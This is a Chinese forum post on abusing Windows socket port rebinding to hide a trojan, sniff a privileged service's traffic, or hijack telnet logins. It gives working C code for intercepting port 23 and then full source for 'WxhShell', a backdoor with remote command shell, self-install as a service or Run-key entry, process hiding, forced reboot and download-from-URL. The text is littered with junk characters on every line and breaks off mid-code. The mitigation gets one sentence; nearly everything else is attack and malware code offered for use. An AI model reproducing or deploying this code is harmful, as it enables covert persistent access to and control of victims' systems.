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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ://U^sFL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @fn6<3  
GtI6[ :1t  
  saddr.sin_family = AF_INET; j,%EW+j$  
T*q"N?/4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !#D=w$@r:  
,i`h x, Rg  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W,hWOO  
vrl[BPI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *8g<R  
]Nk!4"  
  这意味着什么?意味着可以进行如下的攻击: s'a=_cN  
q{4|Kpx@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fJ80tt?r  
%EbiMo ]3B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F#q&(  
Db03Nk>#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uVU`tDzd:  
?p8Qx\%*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ns~&sE:  
(RF>s.B<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !)H*r|*[  
'?/&n8J\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,I*X) (  
m^Lj+=Z"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6517Km 4-  
M?6;|-HH  
  #include x(r+P9f\<  
  #include 99ASIC!  
  #include KjR4=9MD  
  #include    whkJpK(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L=1 ~ f-  
  int main() 0'ZYO.y  
  { mc@M,2@D  
  WORD wVersionRequested; nX x=1*X  
  DWORD ret; iK}v`xq  
  WSADATA wsaData; .;Y x*]  
  BOOL val; ]O{_O&w  
  SOCKADDR_IN saddr; NtZ6$o<Y  
  SOCKADDR_IN scaddr; hH4o;0rqJ  
  int err; Sni=gZK  
  SOCKET s; # 3.)H9  
  SOCKET sc; 71iRG*O  
  int caddsize; @&R1wr1>I5  
  HANDLE mt; ILG?r9 x  
  DWORD tid;   m4**>!I  
  wVersionRequested = MAKEWORD( 2, 2 ); O2#S: ~h  
  err = WSAStartup( wVersionRequested, &wsaData ); D zDj)7  
  if ( err != 0 ) { 1$["79k  
  printf("error!WSAStartup failed!\n"); 23E 0~O  
  return -1; 5d 5t9+t  
  } O3_B<Em  
  saddr.sin_family = AF_INET; co]Gmg6p  
   {rGYRn,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T^)plWw  
Xem| o&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p{H0dj^|  
  saddr.sin_port = htons(23); G,DOBA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "a( 1s} ,  
  { 6VR18Y!y  
  printf("error!socket failed!\n"); rF8 hr  
  return -1; F.KrZ3%4iB  
  } {!K;`I[]v  
  val = TRUE; q) _r3   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #S?c ;3-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'Oy5e@G+?  
  { rt.[,m  
  printf("error!setsockopt failed!\n"); i[=C_+2  
  return -1; .~<]HAwq  
  } y&rY0bm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XtW_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4I ,o&TK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pN k8! k  
a!u3 HS-i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R~c1)[[E  
  { [:pl-_.C  
  ret=GetLastError(); DcU C,  
  printf("error!bind failed!\n"); Q&wYc{TUbm  
  return -1; + U5U.f%  
  } h ]}`@M"  
  listen(s,2); D=9}|b/  
  while(1) V_M@g;<o  
  { {,v: GMsm  
  caddsize = sizeof(scaddr); C9Wojo.  
  //接受连接请求 @W)/\AZ3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OX)BP.h#  
  if(sc!=INVALID_SOCKET) !rHx}n{rw  
  { TolrEcI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +E#PJ_H=F8  
  if(mt==NULL) z[biK|YL  
  { $B ?? Ip?P  
  printf("Thread Creat Failed!\n"); |8;? *s`H  
  break; i@{*O@m  
  } >nNl^ yqW  
  } T{;=#rG<  
  CloseHandle(mt); ^je528%H  
  } KL~AzLI  
  closesocket(s); X!7Xg  
  WSACleanup(); b6Xi  
  return 0; nk>8SW^  
  }   {9{J^@@  
  DWORD WINAPI ClientThread(LPVOID lpParam) $O]^Xm3{@  
  { g 2#F_  
  SOCKET ss = (SOCKET)lpParam; $[w|oAwi  
  SOCKET sc;  3se$,QmN  
  unsigned char buf[4096]; ] j1 vbk  
  SOCKADDR_IN saddr; i0i`k^bA  
  long num; r$?Vx_f`Q  
  DWORD val; i"fCpkAP  
  DWORD ret; ;r=?BbND?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x!`KhTu`_A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >DS}#'N4l  
  saddr.sin_family = AF_INET; 3 9yz~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g`.{K"N>!  
  saddr.sin_port = htons(23); kpWzMd &RK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L B<UC?e  
  { wJ(8}eI  
  printf("error!socket failed!\n"); "_oLe;?$c  
  return -1; 5])8qb/F  
  } @dl<-  
  val = 100; mQnL<0_<f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k?n]ZNlT  
  { 8iOO1I?+  
  ret = GetLastError(); VB's  
  return -1; cyHhy_~R  
  } u:eW0Ows"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7>KQRLw  
  { [DL|Ht>  
  ret = GetLastError(); [{/$9k-aF?  
  return -1; )ZeLaaP  
  } 79a9L{gso  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^K/G5  
  { ofl'G]/$+  
  printf("error!socket connect failed!\n"); _4Ii5CNNU  
  closesocket(sc); ~Q_F~0y  
  closesocket(ss); ' me:Zd  
  return -1; J[MVE4&  
  } 6w@,I;   
  while(1) uh1S 7!^  
  { a6P!Wzb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KDX$.$#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }*Dd/'2+1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cL ae=N  
  num = recv(ss,buf,4096,0); M!-q}5';  
  if(num>0) "s> >V,  
  send(sc,buf,num,0); O68bzi]  
  else if(num==0) "TUPYFK9  
  break; |C|:i@c H  
  num = recv(sc,buf,4096,0); 4^`PiRGt  
  if(num>0) +{'lZa  
  send(ss,buf,num,0); v/ eB,p  
  else if(num==0) 9Dy)nm^  
  break; {DSyV:   
  } !4_!J (q%  
  closesocket(ss); ;i/"$K  
  closesocket(sc); /jvO XS\M  
  return 0 ; c'xUJhEL  
  } QW,cn7  
>b3@>W  
VmMh+)UZ  
========================================================== (26Bs':M~  
qih6me8C  
下边附上一个代码,,WXhSHELL Z%KL[R}^w;  
4YBf ~Pp  
========================================================== |c=d;+  
)4Bwt`VX  
#include "stdafx.h" +&(J n  
<Ak:8&$O  
#include <stdio.h> 6(,ItMbI  
#include <string.h> f8R+7Ykx  
#include <windows.h> sN;(/O  
#include <winsock2.h> FzA{U O  
#include <winsvc.h> bd.j,4^  
#include <urlmon.h>  Ls lM$  
3g^IXm:K$  
#pragma comment (lib, "Ws2_32.lib") }WA<=9e  
#pragma comment (lib, "urlmon.lib") M\9IlV?'  
&^AzIfX}Gw  
#define MAX_USER   100 // 最大客户端连接数 |e~u!V\m  
#define BUF_SOCK   200 // sock buffer Ia=&.,xub  
#define KEY_BUFF   255 // 输入 buffer 4 iik5  
[2=^C=52  
#define REBOOT     0   // 重启 MPqY?KF  
#define SHUTDOWN   1   // 关机 m9%yR"g9  
sw[<VsxjR  
#define DEF_PORT   5000 // 监听端口 4$ ..r4@  
w4NZt|>5j;  
#define REG_LEN     16   // 注册表键长度 pb~Ps#"Zg  
#define SVC_LEN     80   // NT服务名长度 PkjT&e)  
is64)2F](  
// 从dll定义API #)Ep(2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )iT.A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )~1.<((<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nR(#F9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3D{82*&  
[kVpzpGr  
// wxhshell配置信息 b?sA EU;  
struct WSCFG { Hf;RIl2F  
  int ws_port;         // 监听端口 \MfR #k0  
  char ws_passstr[REG_LEN]; // 口令 @ysJt  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;|Y2r^c  
  char ws_regname[REG_LEN]; // 注册表键名 D WsCYo  
  char ws_svcname[REG_LEN]; // 服务名 GH [ U!J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B 9%yd*SJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6wa<'!   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8''9@xz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H't`Q&]a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~3LhcU-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f<Va<TL6-  
FEge+`{,  
}; K!pxDW}  
~vO'p  
// default Wxhshell configuration B.h0" vJ  
struct WSCFG wscfg={DEF_PORT, mvUVy1-c  
    "xuhuanlingzhe", cpP.7ZR  
    1, 9|us<k  
    "Wxhshell", %Y#[% ~|(  
    "Wxhshell", r0rJ.}!  
            "WxhShell Service", &f (sfM_n  
    "Wrsky Windows CmdShell Service", x0}<n99qE  
    "Please Input Your Password: ", @SX%? mk8G  
  1, iuvtj]/  
  "http://www.wrsky.com/wxhshell.exe", WiPM <'  
  "Wxhshell.exe" }Z~pfm_S  
    }; !~6'@UYo  
$}^Rsv(  
// 消息定义模块 m0dFA<5-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gt].rwo"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }dV9%0s!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (:tTx>V#  
char *msg_ws_ext="\n\rExit."; I^rZgp<'i  
char *msg_ws_end="\n\rQuit."; 6)tB{:h&~0  
char *msg_ws_boot="\n\rReboot..."; S jC)6mo  
char *msg_ws_poff="\n\rShutdown..."; r4]hS`X~%  
char *msg_ws_down="\n\rSave to "; mtiO7w"M\7  
ymzPJ??!  
char *msg_ws_err="\n\rErr!"; <z~2d  
char *msg_ws_ok="\n\rOK!"; HYa$EE2  
C*Y :w  
char ExeFile[MAX_PATH]; _47j9m]f  
int nUser = 0; r"Hbr Qn  
HANDLE handles[MAX_USER]; 8u7K$Q  
int OsIsNt; gPA>*;?E;@  
V1UUAvN7s  
SERVICE_STATUS       serviceStatus; >" PqQO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '@3a,pl  
?=pZmvQg  
// 函数声明 1{;[q3a  
int Install(void); =Qjw.6@  
int Uninstall(void); \4]zNV ~x  
int DownloadFile(char *sURL, SOCKET wsh); &r 5&6p  
int Boot(int flag); mmpr]cT@'k  
void HideProc(void); hIE%-gZ/  
int GetOsVer(void); $?CBX27AV  
int Wxhshell(SOCKET wsl); qr<-eJf  
void TalkWithClient(void *cs); hi4h0\L!}  
int CmdShell(SOCKET sock); ;r0|_mnf  
int StartFromService(void); dA_V:HP  
int StartWxhshell(LPSTR lpCmdLine); \E ? iw.}  
C7XS6Nqu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (}/.4xE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R-2FNl  
aHVdClD2o  
// 数据结构和表定义 hPEp0("  
SERVICE_TABLE_ENTRY DispatchTable[] = JsWq._O{/  
{ W>t&N  
{wscfg.ws_svcname, NTServiceMain}, auyKLT3C  
{NULL, NULL} ?-RoqF  
}; 1OfSq1G>v$  
ci{9ODN  
// 自我安装 FBwncG$]F*  
int Install(void) X+'^ Sp  
{ TCEXa?,L  
  char svExeFile[MAX_PATH]; lN][xnP  
  HKEY key; +*r**(-Dm  
  strcpy(svExeFile,ExeFile); JYVxdvq1  
o\=i0HR9  
// 如果是win9x系统,修改注册表设为自启动 ib""Fv7{  
if(!OsIsNt) { D~i@. k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eD` ,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f2SU5e2  
  RegCloseKey(key); K@$L~G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :DJ7d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -KU)7V  
  RegCloseKey(key); 3_j C sX  
  return 0; avbr7X(  
    } S$kuhK>W!  
  } 7/U<\(V!g  
} 4/-))F&s  
else {  7KSGG1ts  
q|]0on~ ]  
// 如果是NT以上系统,安装为系统服务 W2W2WyPk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U_ ?elz\  
if (schSCManager!=0) ,SE$Rh  
{ /v;)H#;  
  SC_HANDLE schService = CreateService #ejw@bd  
  ( 4 HJZ^bq9|  
  schSCManager, +DbWMm  
  wscfg.ws_svcname, kUaGok?  
  wscfg.ws_svcdisp, mC[U)` ey  
  SERVICE_ALL_ACCESS, *n|0\V<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tci%=3,)  
  SERVICE_AUTO_START, w?$u!X  
  SERVICE_ERROR_NORMAL, 8t*%q+Z  
  svExeFile, 5w [=  
  NULL, mB|mt+  
  NULL, M_e$l`"G  
  NULL, 5[j!\d}U  
  NULL, eV {FcJha  
  NULL zcD_}t_K  
  ); "<jEI /  
  if (schService!=0) mZ0oa-Iy  
  { fO|~Oz<S  
  CloseServiceHandle(schService); 0@FM^ejA#  
  CloseServiceHandle(schSCManager); e ka@?`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @BHS5^|  
  strcat(svExeFile,wscfg.ws_svcname); Sfoy8<j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rM >V=|9,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CAo )v,f  
  RegCloseKey(key); DP6{HR$L  
  return 0; 4gkV]" H!  
    } #Wc #fP  
  } T m@1q!G  
  CloseServiceHandle(schSCManager); 3}#XA+Z  
} b#I*~  
} >2Qqa;nx|  
?lwQne8/  
return 1; kj3o1Y  
} y'2kV6TtqD  
M6hvi(!X2  
// 自我卸载 :@@A  
int Uninstall(void) 1-NX>E5  
{ D>7_P7]y  
  HKEY key; l;Wy,?p  
`F+x]<m!  
if(!OsIsNt) { ssJDaf79  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sc $QbOc  
  RegDeleteValue(key,wscfg.ws_regname); zyp"*0zUr  
  RegCloseKey(key); 72`/xryY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [ls ?IFg  
  RegDeleteValue(key,wscfg.ws_regname); k'I_,Z<,  
  RegCloseKey(key); /E4}d =5L  
  return 0; ,8"[ /@  
  } 3Gd&=IJ  
} R,5$ 0_]|+  
} (~pEro]?+)  
else { ~~:8Yv[(  
*"QE1Fum'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >5@vY?QXO  
if (schSCManager!=0) $@qs(Xwr  
{ %M,d/4=P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !E:Vn *k;  
  if (schService!=0) ,fG_'3wb  
  { 4bFVyv  
  if(DeleteService(schService)!=0) { ! 7*_Z=  
  CloseServiceHandle(schService); `i)ePiE  
  CloseServiceHandle(schSCManager); ]z q_gV8k  
  return 0; PD T\Q\J^X  
  } c.{&~  
  CloseServiceHandle(schService); h. (;GJO  
  } cD`O+WA2K  
  CloseServiceHandle(schSCManager); Gx a.<E^k  
} BfE-s<  
} -J7,Nw  
c'#J{3d  
return 1;   6[|<  
} ,f0g|5yDf  
//u76nQ  
// 从指定url下载文件 7(g&z%  
int DownloadFile(char *sURL, SOCKET wsh) |UDD/e  
{ rD U6 5j  
  HRESULT hr; 5<?c_l9X^  
char seps[]= "/"; rWfurB5f  
char *token; T!xy^n]}  
char *file; 3&nc'  
char myURL[MAX_PATH]; P"_}F  
char myFILE[MAX_PATH]; L%O8vn^3  
Fx99"3`3  
strcpy(myURL,sURL); P~ pbx  
  token=strtok(myURL,seps); ^21f^>k(  
  while(token!=NULL) |Sv#f2`  
  { :+^$?[6]  
    file=token; `L*;58MA  
  token=strtok(NULL,seps); PW//8lsR  
  } >Wit"p  
ZFuJ2 :  
GetCurrentDirectory(MAX_PATH,myFILE); @$yYljP  
strcat(myFILE, "\\"); cTa D{!zm5  
strcat(myFILE, file); 6`";)T[G9  
  send(wsh,myFILE,strlen(myFILE),0); <d&)|W  
send(wsh,"...",3,0); f uN XY-;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 34^Cfh  
  if(hr==S_OK) 9c % Tv  
return 0; ^t ldm7{_  
else Bpo68%dx89  
return 1; Cl.T'A$  
|j}F$*SE[  
} J$/BH\  
wBHDof xX  
// 系统电源模块 [gdPHXs  
int Boot(int flag) BI^]juH-c  
{ 'CO[s.03  
  HANDLE hToken; jL%}y1m?  
  TOKEN_PRIVILEGES tkp; 5_C#_=E  
5t#]lg[06'  
  if(OsIsNt) { GXlg%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MV d 3*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :QL p`s  
    tkp.PrivilegeCount = 1; pvUoed\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :Sn3|`HDm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FY S83uq0  
if(flag==REBOOT) { Bg0cC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _";pk  _  
  return 0; xy3%z  
} vl~   
else { `srZ#F5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .) ;:K  
  return 0; O:p649A  
} AX RNV  
  } }/r%~cZ  
  else { U*:'/.  
if(flag==REBOOT) { eniR}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tRBK1h  
  return 0; =?Md&%j  
} I8]NY !'cW  
else { PM>XT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AHD%6 \$  
  return 0; hBE>ea  
} pDq_nx9  
} TPFmSDq  
f:&OOD o  
return 1; U?j>28  
} PSR `8z n  
Y(Ezw !a  
// win9x进程隐藏模块 ~'.yhPo g  
void HideProc(void) H^:|`T|,  
{ T5_Cu9>ax  
RAbq_^Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %<|KJb4?  
  if ( hKernel != NULL ) m e{SVG{  
  { HWOH8q{f!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K61os&K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N4jLbnA  
    FreeLibrary(hKernel); BQ0\+  
  } R >&/n/l  
M F: Eu  
return; 0w. _}C z  
} {~I_rlo n  
 " 1Aus  
// 获取操作系统版本 8mLU ~P |  
int GetOsVer(void) 4PM`hc  
{ q#3X*!)  
  OSVERSIONINFO winfo; :?k=Yr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mJR T+SZ  
  GetVersionEx(&winfo); @\}36y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M)^9e?  
  return 1; q:sR zX  
  else Vp{2Z9]}  
  return 0; " <a|Q,!  
} Yb{t!KL  
2<@!m @  
// 客户端句柄模块 695ppiKU  
int Wxhshell(SOCKET wsl) nW'x#0-  
{ _u2  
  SOCKET wsh; S]/ +n>  
  struct sockaddr_in client; C~V$G}mM  
  DWORD myID; m kf{_!TK  
PzDgl6C  
  while(nUser<MAX_USER) j)qh>y)  
{ `_^=OOn  
  int nSize=sizeof(client); VW`=9T5%@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *G41%uz  
  if(wsh==INVALID_SOCKET) return 1; ,`@|C Z-4A  
mP[u[|]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0|;=mYa4M  
if(handles[nUser]==0) rNyK*Wjt  
  closesocket(wsh); MV \zwH  
else TL gVuY  
  nUser++; p n>`v   
  } R,1,4XT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6|}mTG^  
b.;}Hq>  
  return 0; Tj9q(Vq  
} e*s{/a?,  
h cXqg  
// 关闭 socket B{ "<\g  
void CloseIt(SOCKET wsh) .p>8oOp  
{ nTKfwIeg5  
closesocket(wsh); =>*N W9c  
nUser--; rSn7(3e4^  
ExitThread(0); q8>Q,F`BA  
} |Wk G='02  
<-}\V!@E!  
// 客户端请求句柄 C ,hsr  
void TalkWithClient(void *cs) vrbh+  
{ ;D:T ^4  
}*.*{I  
  SOCKET wsh=(SOCKET)cs; _AYF'o-Cm  
  char pwd[SVC_LEN]; 'DQyB`V2y  
  char cmd[KEY_BUFF]; PM7/fv*,  
char chr[1]; 9To6Rc;  
int i,j; "QS7?=>*F  
||aU>Wj4  
  while (nUser < MAX_USER) { >,3 3Jx  
9lV'3UG-?  
if(wscfg.ws_passstr) { 4PQWdPv;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7!%"8Rl-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q@n kT1o  
  //ZeroMemory(pwd,KEY_BUFF); "g-NUl`'  
      i=0; !&[4T#c  
  while(i<SVC_LEN) { N<99K!   
Z]BR Mx  
  // 设置超时 gBu4`M  
  fd_set FdRead; lV'83  
  struct timeval TimeOut; |e&Kg~~C  
  FD_ZERO(&FdRead); aK'r=NU  
  FD_SET(wsh,&FdRead); ;zDc0qpw  
  TimeOut.tv_sec=8; to7)gOX(  
  TimeOut.tv_usec=0; |=s3a5sl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4>*`26  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vk-_H)*r  
JB<4 m4-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ji q[VeLe  
  pwd=chr[0]; .~J^`/o  
  if(chr[0]==0xd || chr[0]==0xa) { ^h=kJR9  
  pwd=0; h6/Z_ Y  
  break; Lt_]3g o  
  } l1WVt}  
  i++; 9OUhV [D  
    } S}X:LHr*  
4NV1v&"  
  // 如果是非法用户,关闭 socket S# #W_OlrI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fF%r$`2  
} G>x0}c  
~55>uw<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'oG'`ED"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e-mlvi^-  
fp0Va!T(V  
while(1) { ZV;yXLx|  
qv6]YPP  
  ZeroMemory(cmd,KEY_BUFF); ^iNR(cwgX  
uk,f}Xc  
      // 自动支持客户端 telnet标准   tPsU7bFk  
  j=0; odDt.gQXU  
  while(j<KEY_BUFF) { DxHeZQ"LL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7f>n`nq?  
  cmd[j]=chr[0]; rtm28|0H'  
  if(chr[0]==0xa || chr[0]==0xd) { 4hIC&W~f  
  cmd[j]=0; \m&:J >^  
  break; r DuG["  
  } Lrq&k40y  
  j++; zVu}7v()  
    } OK=t)6&b  
GF&"nW9A  
  // 下载文件 5 *_#"  
  if(strstr(cmd,"http://")) { Wm 61  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s/V[tEC*z  
  if(DownloadFile(cmd,wsh)) t&_lpffv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rQJoaP+\q  
  else lxZXz JkqZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dImm},  
  } #7{a~-S  
  else { w]_a0{Uh  
JS9q'd  
    switch(cmd[0]) { a'BBp6  
  1Q<a+ l  
  // 帮助 Yh=Zn[ U  
  case '?': { \T0`GpE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X`&E,;bIb  
    break; D$ \ EZ   
  } $3>|R lxYA  
  // 安装 Go4l#6  
  case 'i': { SPBXI[[-  
    if(Install()) =B 9U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQQ6D  
    else 0 !Yi.'+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xma0k3;-  
    break; ;I>`!|mT  
    } +xMDm_TGLA  
  // 卸载 n):VuOjm  
  case 'r': { Ap/WgVw;  
    if(Uninstall()) D+OkD-8q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gIeo7>u  
    else [eImP V]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2bqwnRT}  
    break; VrpY BU  
    } BtspnVB ez  
  // 显示 wxhshell 所在路径 3iB8QO;pp  
  case 'p': { Nbr{)h  
    char svExeFile[MAX_PATH]; `g7' )MSy  
    strcpy(svExeFile,"\n\r"); q07>FW R  
      strcat(svExeFile,ExeFile); nN[,$`JD,  
        send(wsh,svExeFile,strlen(svExeFile),0); [yz;OoA:;  
    break; m9/a!|fBE  
    } a.P^+h  
  // 重启 N'4*L=Ut  
  case 'b': { tZJKB1#WbP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sB $!X@  
    if(Boot(REBOOT)) !*p lK6a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :H~r _>E  
    else { 46b.= }  
    closesocket(wsh); \>+gZc]an  
    ExitThread(0); =Oy,SX  
    } .*ZNZ|g_  
    break; #C|iW@  
    } p?Y1^/   
  // 关机 Ab2VF;z :  
  case 'd': { 1!~9%=%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |nD`0Rbw  
    if(Boot(SHUTDOWN)) IySlu^a  
